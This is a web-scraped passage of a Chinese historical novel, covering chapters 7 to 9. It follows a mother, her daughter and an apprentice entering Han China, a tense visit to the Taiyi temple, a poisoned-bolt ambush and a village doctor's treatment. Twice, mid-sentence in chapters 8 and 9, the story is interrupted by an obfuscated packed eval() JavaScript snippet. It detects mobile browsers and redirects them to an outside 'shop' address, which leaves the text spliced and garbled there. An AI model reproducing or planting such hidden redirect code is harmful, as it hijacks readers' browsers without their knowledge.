《良禽》 7. 第七章 西风飒飒,将卓罗的歌声吹散于天边。卫绛很难过,慕沙比她大七岁,因着如今也远离家乡不得归,感同身受,不由得湿了眼眶。 卓罗安抚了一下两个孩子,继续道:“我十二岁时,乌孙又来了一位公主,她叫解忧公主。这位公主与细君公主大不相同,她外柔内刚,十分强韧。来了乌孙后,依旧是我阿母为她的医官,她主动寻我阿母学习语言,我阿母不在时,便让我去相陪。 “她学得极快,不久,她成了我的老师。她为我描摹大汉的山川河流,万物风貌,告诉我许多我不曾知晓的知识,带我读书识字。她身边还有一位极为厉害的女子,姓冯。我唤她冯夫人,她武艺高强,刀法独步天下。” “阿母的武艺,就是跟她学的?” 卓罗点头:“正是,解忧公主和冯夫人一文一武,都是我的老师。 “我与她们相处又五年,从她们那里知晓了汉武宏图。他通西域,连百越,似是要将版图扩张到天边去,要让这皇天后土之间的人都成为他的子民。老师教我礼仪汉制,诸子百家,我心驰神往,真想前往汉地亲自见识一番。 “也不知是否是上苍作弄。当时家中出了事,我阿父经手了匈人公主之子的医治,奈何那小儿难救活,终究还是没了。不曾想匈人公主将此事归罪于我阿父,在昆弥耳畔吹风,说是我阿父得了解忧公主钱财,故意毒死了那孩儿。昆弥偏信于她,我全家因此被诛杀,我在冯夫人的保护下,一路被送往汉地避难。 “那一年我十八岁,在长城边塞遇见了正受刑戍边的卫伉。他当时虽然是罚罪之徒,在边塞却颇有声望,守将时常还要寻他商议事务。他与解忧公主是旧相识,解忧公主将我托付于他,希望他为我谋个出路。 “我感念解忧公主与冯夫人相救之恩,发下宏愿,希望有生之年能助解忧公主归汉。只是解忧公主有她的追求,她到乌孙,就是为了联系乌孙助汉灭匈。我这宏愿要实现谈何容易,当年跟卫伉提及时,他却笑得张狂,道‘这有何难,驱逐匈奴便是,我来助你实现’。后来我便有了第二个愿望,便是嫁给你阿父,这个愿望已然实现了。” 说到此处,卓罗似是想起了那段岁月的种种,唇角带起一抹笑。但随即,她语调转沉,道: “只是卫伉最终还是未能陪我走到那一步。他走得那般冤屈,我便有了第三个愿望,无论如何要替他找出巫蛊案的幕后推手,为他复仇。 “迎解忧公主归汉太过虚无缥缈,反倒是查巫蛊案更好着手。这事儿做起来并不容易。慕沙,这是我与绛儿的私事,我不要求你一定要相助于我。因而再问你一遍,你可愿随我们入汉?你可考虑清楚了,一旦入了关,要再出来可不容易,眼下反悔还来得及。” 慕沙道:“师尊,您何苦要说两家话。我是师尊的徒儿,师尊要做的事就是我要做的事。我本是个无所追求的人儿,没有师尊,我这一辈子也许就浑浑噩噩过去了,哪里能知晓如此多的事。我一身本事全赖师尊传教,为您分忧理所应当。” “好。”卓罗万分欣慰,她眸光转向女儿卫绛,还未开口,卫绛就噗通跪在了她跟前,拱手道: “阿母,儿为父查巫蛊案,为母迎解忧归汉,此乃孝道。”言罢,稽首而拜。 慕沙受她感染,也跟着跪在跟前下拜。 卓罗眸中盈泪,她拍了拍慕沙的肩头,又抚了抚卫绛的头顶,对卫绛道: “去把阿母驮袋里的毡布包取来。” 卫绛依言行事,捧着毡布包重新跪到卓罗跟前,卓罗启开毡布包,取出一方木匣,推开匣盖,一柄锦缎软衬的汉剑出现在眼前。卓罗将其取出,把住剑柄,“锃”地抽出剑刃,比于目前。 剑身长约三尺七寸,精铁铸就,锋芒寒锐。乌木大漆鞘,错金银蟠螭纹,剑璏上还栓了一枚漂亮的坠玉,金乌形,以红锦络之。 卫绛眸光发直,经不住赞叹:“好漂亮的剑。” 卓罗“唰”地收剑,将剑递到卫绛手中:“这是你阿父的佩剑,继承自你祖父大将军卫青。靠近剑格处,刻着‘青锋’二字。这金乌坠是你阿父襁褓封侯时,汉武所赐,寓意初升朝阳,光芒耀目。阿母当下就将这二物传给你,你好好保存。” 卫绛捧着剑,心头滚热。 “阿母……儿不舍得用。”她道。她刚刚拥有自己的佩刀,那是一柄锋利的环首刀,是卓罗送给她的及笄礼。 卓罗笑了:“傻孩儿,存着,待必要时再用。” 她又从匣子内取出了一小卷简牍,其上有干裂的封泥,残留着卫伉的篆印。 “这是你阿父给我的诀别书,你看看罢。” 卫绛展开简牍,简牍只有三片木片,其上以隶书写着十来个字:【妻宥吾!吾子名绛。携子远徙,全而抚之。勿返,竟尔途,成尔志。伉。】 卫绛倏然泪目,她哽咽片刻,收卷简牍。将剑、玉、简敛回匣内,小心抱在怀里,竟一时舍不得放回自己的驮袋中。 “去罢。”卓罗催她。卫绛终于起身去了自己的马边。 卓罗抹去眼角泪花,趁此时机对慕沙道:“慕沙,为师没甚么能给你的,我那医箧,还有楼兰城里的藏书,以后都给你了。” “师尊,您已经教了我很多了!我甚么都不要。”慕沙急了,今夜卓罗如交代后事似的,让她深感不安,早知如此,她就不该好奇问那些事。 “不,卓罗家族的医道,以后就靠你传承了。绛儿不是学医的料,她……”卓罗欲言又止,慕沙似是隐约明白了师尊未尽之意,再次郑重拜下。 待卫绛终于磨磨蹭蹭回来,卓罗一拍手,道:“好了孩儿们,时辰不早了,早些休息,明日一早,我们入关!” …… 要入关并不容易,自外入关者多是均输官与特许商队,亦或是使团附属商人,持有符传、市籍等证明。这些证明,卓罗、卫绛与慕沙显然是没有的。她们若想顺利入关又不打草惊蛇,便得寻得一支愿意带他们入关的商队才行。 好在卓罗为此早已筹谋多年,此番虽出行仓促,来不及早寻商队,她仍有办法。自边贸开市以来,时有汉商欺诈胡商之事发生,只因胡商所卖货物多不及汉地货物有价值,胡商学汉语也十分困难,因而常被压价。 胡商之中翻译奇缺,卓罗身为通晓汉话和西域各地语言的通才,她只需在旁观察一会儿,便知晓哪支胡商队伍缺翻译,上去攀谈片刻,便得到对方欣然应允,得以加入商队。 不过,胡商仍需修改符传,将三人添上去。好在这符传所录粗疏,只记录人数,并未详细描述商队中所有人的样貌。因此,胡商私改符传是常有之事,边关时常睁一只眼闭一只眼,管束未有特别严苛。 不过,卓罗突然想到了关键,与卫绛、慕沙商议道: “入汉地后,我们的样貌会十分醒目,汉人比较警惕胡人,因而咱们最好还是以纱布覆面,低调行事。若有人问及姓名,咱们要以化名行事。绛儿,你的姓氏太过醒目,往后就跟我姓卓。慕沙,你就姓穆,有了汉名,汉人对我等会亲近不少。” “卓?卓绛?听起来怪怪的。”卫绛挠头。 “那就叫卓孺狼,如何?”慕沙笑而打趣。 “去!”卫绛不悦。 “那师尊,您叫什么?”慕沙又问。 “卓依,外人多半会称呼我卓娘子。” 商定,卓罗带着二人去见胡商头目,对方一眼就被卫绛那高大的身形,还有佩刀弓箭所慑,小心问道: “卓娘子,这是令郎?” “这是小女,卓孺狼。”卓罗言笑晏晏。 卫绛抚肩躬身行礼,眸光不悦。她此时蒙头裹面,身上 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守将卫兵、来往商旅皆盯着她瞧,着实太过惹人瞩目。卫绛叉手行汉礼,彬彬然道:“这位材官,小女可有不妥之处?” 守将闻听她一口地道的关中凡语,顿感亲切,想来此女虽然样貌迥异,当是归义胡族。于是收回震惊的目光,故作镇定地指着卫绛拴在马侧的武器问: “你这弓箭与刀,可有录簿?” 汉地盐铁专营,铁器中,刀兵更受管束,戈戢、矛槊、弩机、甲胄都是管制兵器,民间禁绝私藏。猎弓与寻常刀剑在民间可以使用,但需在地方官府报备录簿。所谓录簿,实际就是官营铁匠铺在出售铁兵时,于其上烙刻的编号,每出售一把,购买者之名籍便会对应记录在册。不过后续这些刀兵之流转,官府就很难追索了,但凡这些刀兵涉及大案要案,会被追索到的只有初购此兵之人,因而民间武器的私下贩卖比较谨慎,数量极少,售价高昂。 卫绛的弓箭是楼兰匠人所制,不受汉地管束,其形制与汉地弓箭不同,一瞧便知。但卓罗赠给卫绛的环首刀,则是高价购得,乃是只有汉地才能出产的好刀。 卫绛不慌不忙答道:“有录簿,其上有官印。”说着她将环首刀上的官府烙刻展示给守将看。一旁慕沙有些着急紧张,屡次看向师尊。卓罗却始终未曾开口言语,只在旁观望女儿行举。 守将勘验后终于放行。他们并未查得很仔细,因此藏在驮袋内的剑匣,也就不曾翻查。 胡商暗暗松了口气,此前他还猜测这卓娘子三人怕不是甚么西域大盗,好在并无嫌疑。 这一队胡商市籍在敦煌,因此过所至敦煌止。商队将在敦煌边市将手中货物出清,再进货回返,不会再深入汉地。玉门距敦煌不算特别远,两三日可达。 行路间,胡商头目越发震惊于卓孺狼之奇,尤其震惊于其食量。他亲眼见此女一顿吃下一整只羊腿,两大张馕饼,酪浆三大壶,实在惊人。 奇怪的是,吃下如此多吃食,也不见她肚鼓。她只是高壮,却不臃肿。腹平身修,猿臂蜂腰。那些吃食下了肚,也不知去了哪儿,真是怪奇。 只可惜,等不及他想明白其中奥秘,敦煌倏忽间便至。卓娘子践行诺言,助胡商译谈了几笔重要生意,让胡商获得了比以往更丰厚的收益。随后,三人便与胡商辞别,她们还要继续往东去。只是少了胡商的符传、过所,三人一路东行便不大能入城了,只能在乡野间穿行。 敦,大也,煌,盛也。敦煌城是自由长于塞外的卫绛与慕沙见过的最繁盛壮大的城池,比一整个楼兰城都要壮美。她们惊叹于这座城的繁华,还未及仔细领略,却被卓罗催促上路: “这就被慑住怎可奈何,待去了长安,尔等才知甚么是壮阔繁盛。走!” 8. 第八章 卓罗离开敦煌时很是匆忙,其实只是为了快些摆脱那好奇心过重的胡商。 待真正上了路,她却不着急,反而放缓脚步慢慢行路。她想要让卫绛、慕沙有更多的余地去适应汉地饮食生活,也想沿途寻医访药,早日寻得良方医治自己的疾病。若是遇上有道之医,便驻足切磋问道,悉心研学,一留便是十数日,熟悉汉地药草土方。 敦煌去长安四千三百里,一行三人不过城池,只在山间田野穿行。渴了就井泉,饿了打豕雉,夜宿乡野篷亭,偶能觅得片瓦遮头,已属幸运。她们不常与本地人往来,除却寻医访药,尽量低调行路,尤其避开乡间巡逻的亭卒。 自白雪蔼蔼走至三伏夏日,自戈壁荒漠走入翠山长河,寒暑轮替,四季流转,走了足足一年半,终于进入长安三辅地区。 这一路,卓罗虽仍未能寻访到根治自己疾病的良方,但调理之法渐趋完备,离开塞外苦寒之地,她的身子舒坦了许多,发病频率日渐减少,精神气血皆充足许多。 然而卫绛却一直不大能习惯汉地饮食,这一路行来,她时常喊饿,总难以饱食,日渐消瘦。因着汉地民间普遍缺肉食,而她自小嗜肉食,几乎顿顿难离肉。 入汉地以来,仅能食得蒸煮的黍、粟饭,少见麦制的饭或饼。佐以葵、韭、豆藿、芦菔(萝卜)、薤(藠头)、芜菁等菜羹。平日里的肉食大多是鱼虾鳖蚌,难得能吃一次鸡鸭狗,羊肉少食,牛肉几乎绝迹。 汉人食猪肉,但只有逢年过节时才会舍得宰一头猪,为防猪肉腐坏,汉人喜好将肉制成醢(肉酱),偶尔将醢与菜羹一起炖煮,倒也算是一道美味。 卫绛被迫常出入山野捕猎,自己打制野味,取肉后擦上盐巴,以松果熏制成肉脯充饥。她所过山林,豕雉奔逃,鹿兔匿迹,真是好不热闹。 即使如此,她还是瘦了一大圈,瞧上去也没有那么壮了,反倒清俊许多。 三人行至长安城南太乙山脚下时,是汉元凤六年初秋八月。 暑热尚未散尽,她们都换了汉人的夏衣,裘袍厚衣早被收入驮囊中,闷湿的气候让打小在干旱地带生长的卫绛、慕沙很不适应,稍微动一动便是一身汗。 汉地女子衣裙不便于卫绛打猎骑马,因而她仍然穿着胡人骑射所穿的猎装裤,打着束腿,瞧上去装束显得不伦不类。实际上,她们三个女子牵马行于郊野,本就是难得一见的情景,时常惹人瞩目。也因此,她们才避开人群聚集的村镇,只在野道之中行进。 而太乙宫已是卓罗此行之终点,避无可避,她必须要上山去会见一人。此人关系到她是否能查出朱安世下落。 三人久居野外,衣裳时常被勾破,风尘仆仆。眼见着太乙宫已近,三人终于从野外入了山脚下的村落,敲开村民户门,希望换些衣裳,讨些井水清理仪容。 汉村里的农人似是见多识广,见到胡人面容倒不觉有异,拿了钱财便很爽快地给了衣裳。三人换上汉地的粗麻短褐,散开发辫,学汉女以荆钗束发,头戴遮阳斗笠。 上山前,她们在山脚下遇见一个胡须发白、皮肤黝黑的老年货郎,挑着两桶甜醴叫卖。那桶里飘出甜丝丝的气息,卫绛嗅到了,馋得想喝,刚准备上前问价,慕沙拉她: “那是酒,马上就上山了,你莫喝,误事。” “无妨。”卓罗却宠女儿,上前道,“阿郎,买两升,多少钱?” “不贵不贵,三文钱一升。”货郎笑呵呵道。 确实不贵,酒价一般是一升四文钱。卓罗付了钱,拿了个空囊袋,让货郎打酒。卫绛在旁好奇观望,见货郎身旁还摆着个四四方方的木墩,上头摆着笔墨和空白的木片,木墩旁还放了个木头笼子,里面关着一只白鸽。她好奇问道: “这些是做甚么的?” “小人识得几个字,卖酒的同时,也替人代写书信。” “这白鸽是信鸽?” “是啊,小娘子没见过?”那人笑着反问。 卫绛笑而不语,她自幼熟悉各种猛禽,确实反而对汉人的信鸽不大熟悉。不过也并非没见过,她时常会在商团里见到商人用信鸽传信。她望了望天空,心想幸亏天山不在这附近,不然怕不是要将这附近的信鸽都抓个干净。 买完了酒,三人上山。 “阿母,我们这是要去寻谁?”牵马爬山时,卫绛问道。 “寻一位方士,名叫涂山翁,此人是李少君的弟子,巫蛊案时,他就在长安,且身处甘泉宫,正在为武帝炼丹。若他还活着,眼下也该有花甲之年了。”卓罗答道。 “李少君?就是那个声称自己活了数百年的炼丹方士?”卫绛知道这人,她在一篇母亲搜罗来的记载方士的书册中见过。 “是。他病死后,武帝坚信其‘化仙而去’,甚至命人开棺验尸,确实仅见衣冠。但实际上,就是他弟子涂山翁将他的尸首转移了。”卓罗冷笑一声,“这些把戏,亏得武帝还能屡屡相信。” “可他与这太乙山有何关联?我听汉地来的商客谈论过,说太乙山上的太乙宫,乃是正统仙家,当与那些招摇过市的骗子不同?”慕沙问。 卓罗乐了,回首看了眼满面天真的徒弟,道:“太乙宫甚时候成了正统仙家了。太乙宫乃是太一玄坛借着武帝笃信长生术而起的山庙,不论是李少君还是涂山翁,都是太一玄坛的门人。这太一玄坛,也不过就是文景以来才于关中地带生发出的民间教派,他们也算是黄老道的一支,信奉太一神,平日里净摆弄些谶纬导引之术,不过是一帮乌合之众。” “阿母,您都是从哪儿知晓这些的?”卫绛很好奇。 卓罗解释道:“有个名叫葛慧的人,曾是卫府的主簿,他对我有救命之恩。五年前,格尔冬头一回去长安贩货,我委托他寻访葛主簿,才知晓他入了霍光麾下,仍然在大将军府任职。 “因着他的关系,我俩便可借驿传通信,约莫两个月可通信一回,他私下里也在查巫蛊旧事,这些都是他告与我知晓的。今次我们来,也得想办法与他见面,后头还得仰仗他安排我三人落脚呢。不过这长安城可不好进去,得有契机,所以先不急着进城。” “您和他说过我们要来长安?”慕沙问。 “没有,我本来还未下决心,是楼兰事变逼我不得不东行。我与他最后一封书信,在楼兰事变的三个月前,出发前再未收到他回信。不过我想葛主簿应当知晓楼兰变天了,以他的智慧,多半能猜到我会趁机来长安。”卓罗道。 “阿母,我等如此冒昧来访,怎能取信于那涂山翁?他定是甚么也不会说的。”卫绛担忧道。 卓罗笑道:“无妨,我听闻他医道上颇有建树,今次来我们只是寻医问药,不谈其他。我先探探他虚实再从长计议。” 牵马行至半山腰,前方出现了青石板铺就的长阶,蜿蜒上升至山顶。一座乌黑的山门藏于茂木密林之中,若隐若现。这段石阶很是狭窄陡峭,马走不上去,不得已,三人只得将马拴在石阶旁的道旁竹林中。 三人因着并无固定居所,所有家当都驮在马背上。当下若要弃马上山,就得将所有的包袱都背上去。由于她们暂不知太乙宫中虚实,为防做无用功,卫绛提议: “阿母,您与阿姊在这等我,我上去敲门,问一问情况再说。” “我与你一起上去,你背我。”卓罗右腿残疾,平地行走稍显吃力,爬山则甚为艰难。她担心卫绛涉世未深,贸然接触太一玄坛的人,怕是要被诓骗。因而坚持要跟着一起上去。 于是卫绛背起卓罗,留慕沙在下方看管马匹行李。她背着卓罗一步三阶,沿着石阶向上跑,步履轻盈,兔跃狐走。 不消片刻,便来到山门前。见这山门牌坊分三个门洞,正中央上书“太乙仙境”的门额。正中央大门紧闭,瞧上去十分沉重,一对黄铜龟蛇铺兽甚是威严。 右手侧的小门,磨损痕迹颇多,当是平日时常开启的便门,于是卫绛放下卓罗,拍门呼唤:“搅扰仙家,可有人在?” 拍了好一会儿,竟无人应。卓罗感到奇怪,听闻太乙宫香火繁盛,拜访者比肩接踵。怎会是眼下这般萧索无人的状况? 莫不是出了甚么变故? 正踌躇间,门忽而吱呀一声开了,一个年轻的门人探身出来。他一身略显紧窄的乌青曲裾深衣,上锈茱萸纹,衣袖衣摆上还点缀着翎羽,头戴前圆后方的术士冠,瞧着而立年模样,样貌平平,面白无须。 他以探究怀疑的眼神打量着眼前的卫绛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554038|186851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和卓罗,道: “二位上门,所为何事?” “唐突搅扰,实在冒昧。我们是自西域而来的客商家眷,听闻太乙宫有养生秘术,我身体不好,故而特来请教。”卓罗揖手行礼道。 “怪不得……二位是不知前些日子的变故罢。”门人恍然道,“七日前的夜里,一群不知来路的黑衣暴徒闯入太乙宫,打杀我门中人,死者二十有余,还将我道祖掳走。当下太乙宫已被官府接管,不接待外客了。” 卓罗神色陡然一变,忙追问道:“道祖……可是涂山翁?” “正是,您莫非是来拜访道祖的?那您来得可太不是时候了……唉,眼下道祖不知所踪,生死未卜,真乃我太乙劫数。”言罢,门客垂首叹息。 “怎会出这等事?那群黑衣人是甚么人?”卫绛蹙眉问。 “这世上觊觎道祖养生秘术,亦或嫉恨太乙宫道法广布之人何其之多?实难锁定。还得仰仗官府追查才是。只是……天子脚下,还敢有这般狂悖违逆之行举,怕其背后,仰仗颇深。” 门人说话时,扬手遥举上拜,卓罗眸光微动,随即收回落在他袖口的目光,揖手道:“即如此,实不该再多加搅扰,还请节哀顺变。” 门人回礼,二人同时注意到门人右手中指上套着一枚墨黑的玉指环,其上琢有饕餮纹路,颇为别致。 卓罗拉着卫绛示意离去。卫绛还不大甘心,那门人已然将门一闭,落了栓。 卫绛背起卓罗下山,道:“阿母,怎会出这样的事呢?这太乙宫乃是武帝修建的,有天家背景,谁人敢这么大胆?” 卓罗却道:“绛儿,你方才可有注意到甚么不对之处?” “不对之处?阿母所指为何?”卫绛不解。 “那门人,似是不大对。” 卫绛回忆了片刻,道:“我没看出甚么不对,但我嗅到了一股血腥味。” “当真?” “嗯,很淡,但确实有血腥味。我本还有些诧异,后来听那门人说是前些日才出了血案,我想多半是太乙宫内血污还未清扫干净罢。”卫绛道,她打小嗅觉、听觉就极其灵敏,似是拜狼孩儿的那段经历所赐。 卓罗却道:“不对,那血案是七日前,眼下还会留血腥气吗?想来罹难的门人尸首都被拉出去埋葬了,该清扫的地方也都清扫干净了,他身上为何还残留着血腥气?你方才可见到他衣袍内衬的袖口,有一抹暗红?那应是血渍,还未彻底干涸,是刚留下的。 “他那衣袍,穿在身上也不合身,且不符合身份。那身衣袍缀着翎羽,等级颇高,不该是他这样一个门徒所穿着的衣物。他应是听到我等敲门声,仓促间换上这身衣袍,出来应对。 “方才言语间,他向我暗示黑衣暴徒的幕后指使背景很深,我与他刚照面未有多久,交浅言深,他为何要对我这样一个陌生人说甚么幕后指使的推测?想来这话暗藏杀机,是威胁之语。我们来得确实太不是时候了,怕不是撞上了杀掠现场了。” 卫绛霎时起了一身鸡皮疙瘩,她入汉地以来,一路未曾与人有过多接触,竟不知此地争斗如此阴险可怖,说话中都藏锋带钩,全不似西域那般直来直去。她顿觉自己实在太单纯了。若不是阿母在身边,她当时就被那人给蒙骗过去了。 “眼下该当如何?”她问。 “当务之急是赶紧离开此地,我们不该将慕沙单独一人留下的,快,赶紧回去!我怕我们上山时,就已然被盯上了。”卓罗焦急道。 卫绛背着卓罗急急忙忙下山,所谓上山容易下山难,背人下山重心不稳,因而卫绛即便想快也快不起来。待到她终于走下最后一级台阶,打眼一瞧,竟不见道旁竹林里的慕沙和三匹马了。 “糟了!着道了!”卫绛如遭雷劈。 “快走,快走!”卓罗连声催促。 然而卫绛还未来得及迈开步子逃跑,她敏锐的听觉忽而捕捉到一声微不可查的利刃破空声,卫绛近乎本能地向前扑去,躲开背后暗箭。 她扑倒在地,卓罗重重压在她背上。随即她听到了卓罗的痛呼,不由得大惊。她立刻翻身,用自己的后背护住卓罗,便见一支样式怪奇的箭扎中了卓罗的左臂。 “阿母!!!” 9. 第九章(投雷加更·2) 背后破空声再度袭来,卫绛顾不得其他,拧身拔出腰间匕首,铛铛两下,眼疾手快挡开随后袭来的箭。她的刀和弓箭都在马上,如今全身上下就剩下一柄平时用来切肉的匕首了。 卫绛蹲踞在地,右手持匕首护在身前,左手两指触在地面上,感知地面震动。喉间发出威胁的喉音,狼示威一般死死盯着竹林之中的动静。她知晓自己此刻寸步不可离开母亲卓罗,但背着卓罗,极易遭到背后偷袭,且不便于作战,这使得她进退两难。 箭矢来处的草丛之中,沙沙响动,山风拂过竹林,密竹摆伏,哗啦啦作响。等了一会儿,竟是没了动静。看来放箭人未得手,似是立刻撤退了。 “绛儿,走,那人是故意引你过去,恐有陷阱,不可去追。看来这帮匪徒人手不够,且对你的武艺颇有忌惮,不然不会行事这般阴毒,连面都不敢露。”卓罗强忍着疼痛坐起身来。 “但慕沙和咱们的行李马匹都在他们手里,丢了行踪还如何寻找?”说着,卫绛从衣襟内拽出一柄哨子,向天上打了个呼哨,声音尖锐悠长。隔了一会儿,金雕天山从山林远端飞来,并向着卫绛的方向扑来。 卫绛从自己腰间随携的革袋中取出一块肉脯,高高抛起,金雕飞扑衔住,就听卫绛喊道: “天山!追!找马!” 那金雕似是懂人语似的,低空回旋一圈,再次盘旋上了高空,向着山的那一头飞去。 做完这些,卫绛忙跪倒在母亲身边,再次将卓罗背起来。 “阿母,你的手臂得尽快处置。” “无妨,先往山下去,我们来时路过了一处山坳,那里有几户人家,先去避一避。”卓罗额头渗出冷汗。 “好。”卫绛将匕首咬在嘴里,托住母亲的身子,开始发足狂奔。她的身形在山道间如飞羽一般穿梭,双足有力地蹬踏着地面,身后带起大片尘土。她故意为之,是为了迷挡身后人的视线,避免对方再发暗箭。 只要她跑的足够快,箭矢也很难打中她。 好在确如母亲所言,对方并不敢过于招惹卫绛,也并未追来。她一口气跑到了山下的山坳之中,就近敲响了一户人家的柴门。 不多时,一老年男子从屋内出来,他身形魁伟,满面白须,容颜很是沧桑,但瞧着颇为硬朗。打眼一瞧篱笆外的卫绛娘俩,顿时唬了一跳。 “老丈……我母亲为歹人所伤,急需救治,求您帮帮我们。”卫绛恳求道。此时的卓罗已然陷入半昏迷的状态中,她虽紧急在中箭处的上缘扎了布条止血,血还是染红了她和卫绛的半边身子。那箭矢之上似是有毒,卓罗的唇瓣发紫,状况很糟糕。 那老丈未有多犹豫,立刻开启门扉,将她二人迎入门内。 又唤道:“老婆子,快出来救人!” 屋内又走出一位老妪,见到卫绛母女,吓得差点被门槛绊住。 二人被迎入门内,老丈丢下一句:“先急救,我去寻乡医。”说着就牵了家中的驴出了门。 卫绛将母亲平放在床榻上,撕开母亲左臂的衣袖,仔细查看伤口。箭矢还扎在伤口上,这箭通体银色,长不足尺,尾端用的是竹篾,枝干上有阴刻着一些旋转的花纹。 居然是银箭,卫绛从未见过有人用银来打造箭支,而且这箭矢长度绝不是弓箭,而是弩箭。民间私藏弓弩乃是杀头之罪,这可真是亡命之徒。 当下卓罗已然昏迷,无法指导卫绛救治。卫绛只得依凭自己这些年跟随母亲学习的医学知识来救治母亲。 她让老妪准备好干净的布和热水,先用剪刀夹断箭支,后将自己的匕首清洗干净,在火上烤过,小心破开了卓罗左臂的伤口。 剧痛让昏迷的卓罗痛醒了,她痛呼出声,卫绛满头大汗,只道:“阿母,撑住,一下就好!” 箭头被她利落取出,倒钩未对卓罗造成二次伤害。好在这箭没有扎穿骨头,只伤到了皮肉。卫绛开始清创,并对老妪道: “您这可有三七、仙鹤草?” 老妪哪有这些,还未待她回话,屋内走进来一个人,道: “金创药我这里都有,不过这位娘子怕是中了蛇毒,还得辅以半枝莲、白花蛇舌草、七叶一枝花外敷才是,来交给我。” 来者是个中年男子,黔首白布衣,三缕长须,长相颇为雅致。他放下背着的医箧,从其中取出各种瓶瓶罐罐。 伴随着他的到来,那老丈也跟着进来了。老妪松了口气,随即笑道: “竟是淳于医家,您今日怎会在此?” “路过而已,正在回家的路上,恰好撞见了白猎头急匆匆出门。”被称作淳于医家的中年男子淡笑回道,随即他仔细观察了一下卓罗的伤口,道,“不错,这箭拔得很利落,创面愈合会容易许多。” 随后的医治由淳于医家完成,他手法老道,为卓罗清理干净创面,将伤口缝合,又敷上金创药粉和解毒药粉,最后包扎起来。接着他为卓罗号脉,约莫号了一盏茶时间,他眉头紧锁,似是对卓罗的沉疴暗疾有些为难。 “我再为娘子开几贴药,她体内毒素这几日要尽量逼出,否则与她旧疾交缠,恐会加剧旧疾。有几味药山林间就手可得,但有几味药我得回医馆才能取得。不过放心,这位娘子中毒不深,救治及时,不会危及性命。我这就回去取药,连夜送来。”说着他就动作飞快地收拾医箧,准备动身。 “多谢医家!”卫绛心下大定,感激拜服。 “诶,小娘子莫要多礼。”淳于医家扶住她下拜的手臂,道,“你母亲中箭所淬毒素乃是蝮蛇之毒,这等毒箭在关中不常见,倒像是西南楚人的手段。小娘子,你们这是遭了甚么事?” 卫绛想告诉他太乙宫出事了,可想了想,欲言又止,只道是路过太乙山半山腰,半途遭遇冷箭,不知是何人所为,马匹行李皆被抢了,还有一位同伴被掳走,下落不明。 “太乙山近些日子不太平啊,白猎头,你们最近也莫要进山了。此事还是报官,让官府派人处理罢。”淳于医家感叹了一声,便出了门。老丈送他出去,一路送到田埂尽头。 老妪用热水为卓罗擦拭面颊,卫绛忙接过来,感激老妪道: “多谢二位收留,大恩没齿难忘。” “老婆子没做甚么,小娘子,你们可真是走运。今日若不是淳于医家恰好路过,你阿母还不知会如何呢。”老妪感叹道。 “这位淳于医家,瞧着医术精湛,甚为令人敬佩。”卫绛道。 “他可是关中第一神医哩!”老丈白猎头笑道,“而且专为疾苦看诊,时常分文不取,乃是在世神仙。” 卫绛闻言,顿时将这位淳于医家铭记于心,往后根除母亲病症,还得仰仗这位神医。 “老丈,不知您这是否有弓箭和刀?”卫绛起身,揖手问道。 “小娘子,你这是要做甚么?”白猎头蹙眉问道。 “我阿姊被他们掳走,生死未卜,眼下阿母转危为安,我得即刻去救我阿姊。还望老丈借我武器一用。”卫绛拜道。 “你怎知那伙人去处?”白猎头问。 “自有追索之法。”卫绛道。 “那群匪帮有多少人?你一个女子,就算有武艺傍身,也是双拳难敌四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554039|186851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,你就这么独身一人去了,怕是有去无回啊。”白猎头劝道。 似卫绛这般体格的女子世所罕见,还能从匪帮突袭中走脱,必然有武艺傍身,白猎头经验老道,早就看出来了。 “老丈放心,救人我还是有把握的,只要将人救出来,我不会与对方硬碰硬。”卫绛这话说得可谓是不知好歹,狂妄自大,可白猎头却从她的眼神中看出沉稳笃定之色。 “我召集几个人随你去,都是附近猎户,熟悉山路。”白猎头道。 卫绛忙道:“老丈,千万使不得。我一人足以,您借我弓箭与刀就足够了。” “莫要犟执,我既救了你,那便一救到底。一会儿我儿就要打猎归来,我让他带你进山,你总得有个接应罢。”说着,白猎头又去取了自己的弓与箭箙,弓是民间自制的猎弓,箭箙内约莫二十支白羽箭。 “我这弓是柘木角弓,约有一钧,你试试看使着是否顺手。”汉律规定民间能持有的最强的弓,其拉力不得大于一钧,即四分之一石。军中角弓大多都在七斗至九斗间,最重的弓超过一石,能开此等重弓的弓兵需要特别选拔训练。 卫绛从箭箙中取出一支箭,搭弓揽箭,轻轻松松拉了个满弓,对着屋外三丈远的门柱快速放出,箭矢呼啸着破空飞出,狠狠扎入门柱内。 “好!小娘子好射术!”白猎头大赞。 这弓也太轻了,卫绛内心嘀咕了一句,没好意思说出口。她平日里用的弓都在一石以上,挽过的最重的弓约莫有五钧,那是楼兰城内最强的弓。 白猎头似是起了爱才之心,他又去提了自己的刀来,这是一把精钢环首刀,外表朴拙,但工艺不弱。能看出来是精心保养多年,不舍得使用的好刀。 “这是我从军时颇费了一笔资费,请军中工匠特别打制的。宝刀配英杰,就交给小娘子了。” 卫绛接过刀来,呼呼挽了几个刀花,还是觉得太轻不趁手,阿母送她的刀可比这刀重多了。他人之物,只得凑合着用了,尽量不要折损才是。 他背负弓箭,提刀出门,将方才打在门柱上的箭矢收回,揖手向老夫妇拜道:“仰仗恩公夫妇照看我母,我尽量快去快回,不给二位添麻烦。” 